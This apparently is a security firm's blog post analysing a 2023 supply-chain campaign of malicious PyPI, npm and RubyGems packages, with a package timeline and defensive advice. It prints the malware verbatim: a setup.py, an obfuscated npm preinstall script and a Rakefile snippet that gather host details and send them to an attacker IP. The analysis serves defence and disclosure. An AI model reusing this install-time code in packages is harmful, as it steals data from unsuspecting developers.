Nascent Malware Campaign Targets npm, PyPI, and RubyGems Developers

Nascent Malware Campaign Targets npm, PyPI, and RubyGems Developers
⚠️
September 5, 2023: This appears to be an ongoing campaign with additional packages published. The package timeline table has been updated to reflect this.

Phylum has been extremely busy in the past few weeks, reporting on multiple malware campaigns, including malicious updates to npm packages, malware masquerading as a GCC binary, and a package containing a complicated command-and-control setup for data exfiltration.

We monitor open-source ecosystems and analyze every package's source code and metadata as soon as it's pushed into the registry. We’re on track to analyze nearly a billion files across millions of packages this year. In doing so, we can draw unique relationships between package behaviors across disparate ecosystems. At scale. In near real-time.

Today, we’re reporting on just such a thing: a nascent campaign that spans the Python (PyPI), Javascript (npm), and Ruby (RubyGems) ecosystems!

--cta--

Python Malware

On the morning of September 3, 2023, our automated platform notified us of the first package in this campaign: https://app.phylum.io/package/pypi/kwxiaodian/9.1.10. This package contained the following in it’s setup.py:

if sys.platform == 'darwin':
    def get_info():
        version = sys.version
        uname_string = str(os.popen("uname -a").read())
        id_string = str(os.popen("id").read())
        pwd_string = str(os.popen('pwd').read())
        ip_string = str(os.popen('ifconfig').read())
        info = {
            "uname": uname_string,
            "id": id_string,
            "pwd": pwd_string,
            "ip": ip_string
        }
        if version[0] == '2':
            info = base64.b64encode(json.dumps(info))
        else:
            info = base64.b64encode(json.dumps(info).encode('utf-8')).decode()
        print(info)

        url = 'http:/81.70.191.194:14333/start/' + info
        os.system('curl -m 3 -s -o /dev/null ' + url)

    get_info()

This follows a common pattern we see across many early campaigns and one we witnessed a few weeks back in our work identifying malware on Crates.io:

  • Publish several packages with data collection capabilities.
  • Collect information on the target machine.
  • Exfiltrate this information to a server controlled by the attacker.
  • Once a sufficiently interesting machine has installed the package, publish subsequent versions with more malicious payloads.

We see a similar pattern here, with data being encoded and dispatched to a remote server controlled by the attacker.

Host Path Data Format
81.70.191.194:14333 /start/ Base64 Encoded

Curiously, the data is only collected if the target machine is macOS. Executing this code results in the following response from the remote server:

curl http:/81.70.191.194:14333/start/eyJ1bmFtZSI6...xMzQifQ==
Success%

Obfuscated Javascript Packages

At roughly the same time, we received notifications about malicious package publications on npm. These packages executed the following as a preinstall hook in the package.json:

node ./index.js

Which executes the following obfuscated index.js file:

const _0xdd1c1e=_0x2dea;(function(_0x1caefb,_0x39c5a1){const _0x2e8118=_0x2dea,_0x1bf018=_0x1caefb();while(!![]){try{const _0x7bd2b9=-parseInt(_0x2e8118(0x1b2))/0x1*(-parseInt(_0x2e8118(0x1a7))/0x2)+parseInt(_0x2e8118(0x1c7))/0x3+parseInt(_0x2e8118(0x1bd))/0x4*(parseInt(_0x2e8118(0x1a6))/0x5)+-parseInt(_0x2e8118(0x1b9))/0x6+parseInt(_0x2e8118(0x1b7))/0x7*(-parseInt(_0x2e8118(0x1ae))/0x8)+-parseInt(_0x2e8118(0x1a4))/0x9+parseInt(_0x2e8118(0x1c1))/0xa;if(_0x7bd2b9===_0x39c5a1)break;else _0x1bf018['push'](_0x1bf018['shift']());}catch(_0x6ec218){_0x1bf018['push'](_0x1bf018['shift']());}}}(_0x1a65,0x43592));const https=require(_0xdd1c1e(0x1a3)),os=require('os'),crypto=require(_0xdd1c1e(0x1a9)),x=require(_0xdd1c1e(0x1b5));function _0x2dea(_0x128ac3,_0x20ca9e){const _0x1a65bb=_0x1a65();return _0x2dea=function(_0x2dea2b,_0x5a62f2){_0x2dea2b=_0x2dea2b-0x1a3;let _0x30b34a=_0x1a65bb[_0x2dea2b];return _0x30b34a;},_0x2dea(_0x128ac3,_0x20ca9e);}var theNetworkInterfaces={};for(var i=0x0;i<os[_0xdd1c1e(0x1bc)]()[_0xdd1c1e(0x1b6)][_0xdd1c1e(0x1ad)];i++){os[_0xdd1c1e(0x1bc)]()[_0xdd1c1e(0x1b6)][i][_0xdd1c1e(0x1ac)]==_0xdd1c1e(0x1a5)&&(theNetworkInterfaces=os[_0xdd1c1e(0x1bc)]()[_0xdd1c1e(0x1b6)][i]);}var report={'arch':os[_0xdd1c1e(0x1b1)](),'endianness':os[_0xdd1c1e(0x1c5)](),'freemem':os[_0xdd1c1e(0x1b3)](),'homedir':os[_0xdd1c1e(0x1bb)](),'hostname':os['hostname'](),'networkInterfaces':theNetworkInterfaces,'platform':os[_0xdd1c1e(0x1c8)](),'release':os[_0xdd1c1e(0x1c4)](),'tmpdir':os[_0xdd1c1e(0x1b8)](),'totalmem':os[_0xdd1c1e(0x1aa)](),'type':os[_0xdd1c1e(0x1c9)](),'uptime':os['uptime'](),'package':_0xdd1c1e(0x1be)};function _0x1a65(){const _0x48fe47=['arch','1021eyNtXr','freemem','end','./util','en0','5201lRNjxm','tmpdir','1808508nxrOhT','exit','homedir','networkInterfaces','5156IxyCVN','0x02','write','POST','3611070UnCbGa','hostname','indexOf','release','endianness','81.70.191.194','267027MDPIIt','platform','type','http','736875aQxaVh','IPv4','1355XzAuVe','434POnAhK','stringify','crypto','totalmem','darwin','family','length','3896YJNVnZ','/healthy','request'];_0x1a65=function(){return _0x48fe47;};return _0x1a65();}report[_0xdd1c1e(0x1c2)][_0xdd1c1e(0x1c3)]('.')==-0x1&&(report[_0xdd1c1e(0x1c8)]!=_0xdd1c1e(0x1ab)&&process[_0xdd1c1e(0x1ba)](0x1));var data=JSON[_0xdd1c1e(0x1a8)](x['encryptM'](JSON[_0xdd1c1e(0x1a8)](report)));const options={'hostname':_0xdd1c1e(0x1c6),'port':0x4325,'path':_0xdd1c1e(0x1af),'method':_0xdd1c1e(0x1c0),'headers':{'Content-Type':'application/json','Content-Length':data[_0xdd1c1e(0x1ad)]}},req=https[_0xdd1c1e(0x1b0)](options,_0x4c1a80=>{_0x4c1a80['on']('data',_0x38588f=>{const _0x45be46=_0x2dea;process['stdout'][_0x45be46(0x1bf)](_0x38588f);});});req['on']('error',_0x5d8a57=>{return;}),req[_0xdd1c1e(0x1bf)](data),req[_0xdd1c1e(0x1b4)]();

Deobfuscating this, we can begin to understand what this package is doing.

  1. It first collects information about network interfaces:
  2. Collects additional system information like OS, free memory, platform, etc.:
  3. Exits execution if the platform is not macOS:
  4. Finally, it encrypts the data and dispatches it to the remote server controlled by the attacker:

Communication with the remote server mimics what we saw in the Python packages. In this case, the data is encrypted instead of just Base64 encoded.

Host Path Data Format
81.70.191.194:17189 /healthy AES 128 CBC

The public key used for this encryption is:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhK7w+gS45FaIL88s+vmUClt/r
bTY6GAlh9grzFAr4W/4kVJgyfvg/IDZmVG8LeIym5fcjAR03YtjjxRi6pTzUBEls
GdJ7w6ThjHcDBjT7gpmnP4mU6LmA4tZBMVIr/A0vkTI+jb7ldzSjpDqXTrb7a5Ua
hcpguhuZZCfsRGkIAwIDAQAB
-----END PUBLIC KEY-----

Rubygems Package

The Rubygems package follows similar patterns to both the PyPI and npm packages. Execution is automatically run on install in the Rakefile. In this file, information about the host is collected and dispatched to a remote server:

if RUBY_PLATFORM.include?("darwin")
  info = {
    hostname: Socket.gethostname,
    os: RUBY_PLATFORM,
    ip: (Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address),
    platform: RUBY_PLATFORM,
    username: ENV['USER']
  }
  url = "<http://81.70.191.194:31310/ruby/info?info=#{Base64.encode64(info.to_json)}>"
  uri = URI(url)
  Net::HTTP.get(uri)
end

Like the Python and Javascript packages, the information is only dispatched if the detected platform is macOS.

Host Path Data Format
81.70.191.194:31310 /ruby Base64 Encoded

Commonalities Between Ecosystems

On closer review, it becomes clear that the campaigns against npm, PyPI and RubyGems are the same:

  • All packages are communicating with a service on 81.70.191.194
  • System information is collected and dispatched to this service
  • Packages only execute on macOS machines
  • Multiple packages were published across ecosystems with similar versions (e.g., 9.1.10 was commonly used by npm and PyPI packages)

The author of these packages is staging a broad campaign against software developers. The end goal of this campaign remains unclear; however, since we aren’t interested in finding out what they had in store, we have reported each of these packages to the respective ecosystems for removal. As of this writing, PyPI has confirmed the removal of all packages.

Full Package Timeline

Package Name Package Version Ecosystem Datetime
kwxiaodian 9.1.10 PyPI 2023-09-03 15:10
openapi-ba 9.1.10 PyPI 2023-09-03 15:40
dsc-auth 1.1.1 PyPI 2023-09-03 15:45
@ks-radar/radar-util 9.1.10 npm 2023-09-03 16:19
gunther 1.1.0 Rubygems 2023-09-03 16:20
@ks-radar/radar 9.1.10 npm 2023-09-04 05:57
@ks-radar/radar-core 9.1.10 npm 2023-09-04 06:06
@ks-radar/radar-event-collect 9.1.10 npm 2023-09-04 06:08
@ks-radar/radar-navigation-collect 9.1.10 npm 2023-09-04 06:10
@ks-radar/radar-resource-collect 9.1.10 npm 2023-09-04 06:12
@ks-radar/radar-chrome-metrics-collect 9.1.10 npm 2023-09-04 06:15
iosthin 1.0.1 RubyGems 2023-09-04 09:10
@ks-radar/radar-core-krn 1.1.0 npm 2023-09-05 04:56
@ks-radar/search npm
@ks-radar/radar-blood-lineage-collect 9.1.9 npm 2023-09-05 05:12
@ks-radar/radar-api-collect 1.1.2 npm 2023-09-05 04:59
@ks-radar/radar-component-collect 9.1.10 npm 2023-09-05 04:57
@ks-radar/mini-program 2.1.10 npm 2023-09-05 05:06
@ks-radar/olap-auth 999.999.1 npm 2023-09-05 05:08
kwai-kim-bot 1.0.1 RubyGems 2023-09-05 07:15
kuaishou-mmu-web-component 8.1.7 npm 2023-09-05 18:28
kwai-jenkins 9.0.10 RubyGems 2023-09-05 07:12
kwaishop-radar 99.9.1 npm 2023-09-06 04:55
kwai-pymk 1.1.0 npm 2023-09-06 09:16

What Should Developers Do?

Broadly speaking, malware is extremely prevalent across all open-source package registries. We’ve all learned that opening email attachments from unknown senders is a bad idea, yet we, as developers, are willing to pull down and execute packages from unknown sources. Performing a manual security audit of every package is simply untenable. The number of packages a single project uses has soared in recent years; it’s not uncommon to find packages with >1,000 dependencies.

It is prudent to rely on automated solutions like Phylum to help determine whether or not a package contains behaviors congruent with malware or some other risk and block packages that violate the policy defined by the developer or organization. To help facilitate this, Phylum has open-sourced its sandbox Star and CLI Star so you can have some semblance of security when performing package installations. For example, you can query the Phylum API for package risk information and if it passes the defined policy, perform a package installation in a locked-down sandbox environment (that limits access to network, disk, and environment variables) by running:

phylum npm install <package>

or

phylum pip install <package>

We also provide several free integrations (e.g., Phylum Github app) for adding Phylum into your build and CI pipelines.

Wrap-up

At Phylum, it is our mission to make open-source safer for everyone. The prevalence of malware in open-source package registries is growing. The threats are becoming more sophisticated, and the effort required to understand what is in your packages is increasing.

Our platform allows us to classify risk across disparate packages and ecosystems automatically. It allows us to monitor the activities from the most neophyte attackers to the nation-state threat actors. If you aren’t taking risks associated with open-source packages seriously, you overlook one of the most glaring (and simplest to exploit) vulnerabilities in your software development lifecycle.

Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.